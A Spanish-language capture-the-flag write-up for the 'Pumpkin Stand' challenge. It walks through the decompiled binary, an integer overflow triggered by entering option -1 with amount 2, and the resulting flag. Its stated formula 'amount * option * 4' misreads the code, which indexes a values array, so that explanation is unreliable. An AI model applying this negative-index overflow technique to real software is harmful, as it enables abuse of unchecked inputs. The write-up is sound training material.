Pumpkin Stand
3 minutos de lectura
Se nos proporciona un binario de 64 bits llamado pumpkin_stand
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Ingeniería inversa
Si abrimos el binario en Ghidra, veremos el código descompilado en C de la función main
:
void main() {
long in_FS_OFFSET;
short option;
short amount;
FILE *fp;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
undefined8 canary;
canary = *(undefined8 *) (in_FS_OFFSET + 0x28);
setup();
banner();
option = 0;
amount = 0;
while (true) {
while (true) {
while (true) {
while (true) {
menu();
__isoc99_scanf("%d", &option);
printf("\nHow many do you want?\n\n>> ");
__isoc99_scanf("%d", &amount);
if (0 < amount) break;
printf("%s\n[-] You cannot buy less than 1!\n", &DAT_0010134a);
}
pumpcoins = pumpcoins - amount * (short) *(undefined4 *) ((long) &values + (long) (int) option * 4);
if (-1 < pumpcoins) break;
printf("\nCurrent pumpcoins: [%s%d%s]\n\n", &DAT_00100e80, (ulong) (uint) (int) pumpcoins);
printf("%s\n[-] Not enough pumpcoins for this!\n\n%s", &DAT_0010134a, &DAT_00100e78);
}
if (option != 1) break;
printf("\nCurrent pumpcoins: [%s%d%s]\n\n", &DAT_00100e80, (ulong) (uint) (int)pumpcoins);
puts("\nGood luck crafting this huge pumpkin with a shovel!\n");
}
if (9998 < pumpcoins) break;
printf("%s\n[-] Not enough pumpcoins for this!\n\n%s", &DAT_0010134a, &DAT_00100e78);
}
local_48 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
fp = fopen("./flag.txt", "rb");
if (fp != NULL) {
fgets((char *) &local_48, 0x30, fp);
printf("%s\nCongratulations, here is the code to get your laser:\n\n%s\n\n", &DAT_00100ee3, &local_48);
/* WARNING: Subroutine does not return */
exit(0x16);
}
puts("Error opening flag.txt, please contact an Administrator!\n");
/* WARNING: Subroutine does not return */
exit(1);
}
Básicamente, el programa muestra este menú:
$ nc 134.122.106.203 32141
##&
(#&&
##&&
,*. #%%& .*,
.&@@@@#@@@&@@@@@@@@@@@@&@@&@#@@@@@@(
/@@@@&@&@@@@@@@@@&&&&&&&@@@@@@@@@@@&@@@@,
@@@@@@@@@@@@@&@&&&&&&&&&&&&&@&@@@@@@&@@@@@@
#&@@@@@@@@@@@@@@&&&&&&&&&&&&&&@@@@@@@@@@@@@@,
.@@@@@#@@@@@@@@#&&&&&&&&&&&&&&&&@@@@@@@@@@@@@&
&@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&@@@@@@@@@&@@@@@
@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@
.@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@
(@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@.
@@@@@@@@@@@@@@&&&&&&&&&&&&&&&@@@@@@@@@@@@@@
,@@@@@@@@@@@@@&&&&&&&&&&&&&@@@@@@@@@@@@@
@@@@@@@@@@@@@&&&&&&&&&@@@@@@@@@@@@/
Current pumpcoins: [1337]
Items:
1. Shovel (1337 p.c.)
2. Laser (9999 p.c.)
>>
Vemos que tenemos 1337 pumpcoins. Para encontrar la flag, necesitamos tener como mínimo 9999 pumpcoins.
Encontrando la vulnerabilidad
La vulnerabilidad aparece en estas líneas de código:
// ...
menu();
__isoc99_scanf("%d", &option);
printf("\nHow many do you want?\n\n>> ");
__isoc99_scanf("%d", &amount);
if (0 < amount) break;
printf("%s\n[-] You cannot buy less than 1!\n", &DAT_0010134a);
}
pumpcoins = pumpcoins - amount * (short) *(undefined4 *) ((long) &values + (long) (int) option * 4);
// ...
Nótese que todas las variables son te tipo short
(pumpcoins
, option
y amount
), es decir, de 2 bytes. El balance se calcula así: pumpcoins = pumpcoins - amount * option * 4
.
No podemos introducir valores negativos en amount
, pero sí en option
. Entonces, podemos encontrar alguna combinación de valores que hagan que tengamos más de 9999 pumpcoins. Esto se conoce como vulnerabilidad de Integer Overflow, ya que los números negativos grandes desbordan y se convierten en números positivos.
Flag
Con la siguiente combinación conseguimos la flag:
$ nc 134.122.106.203 32141
##&
(#&&
##&&
,*. #%%& .*,
.&@@@@#@@@&@@@@@@@@@@@@&@@&@#@@@@@@(
/@@@@&@&@@@@@@@@@&&&&&&&@@@@@@@@@@@&@@@@,
@@@@@@@@@@@@@&@&&&&&&&&&&&&&@&@@@@@@&@@@@@@
#&@@@@@@@@@@@@@@&&&&&&&&&&&&&&@@@@@@@@@@@@@@,
.@@@@@#@@@@@@@@#&&&&&&&&&&&&&&&&@@@@@@@@@@@@@&
&@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&@@@@@@@@@&@@@@@
@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@
.@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@
(@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@.
@@@@@@@@@@@@@@&&&&&&&&&&&&&&&@@@@@@@@@@@@@@
,@@@@@@@@@@@@@&&&&&&&&&&&&&@@@@@@@@@@@@@
@@@@@@@@@@@@@&&&&&&&&&@@@@@@@@@@@@/
Current pumpcoins: [1337]
Items:
1. Shovel (1337 p.c.)
2. Laser (9999 p.c.)
>> -1
How many do you want?
>> 2
Congratulations, here is the code to get your laser:
HTB{1nt3g3R_0v3rfl0w_101_0r_0v3R_9000!}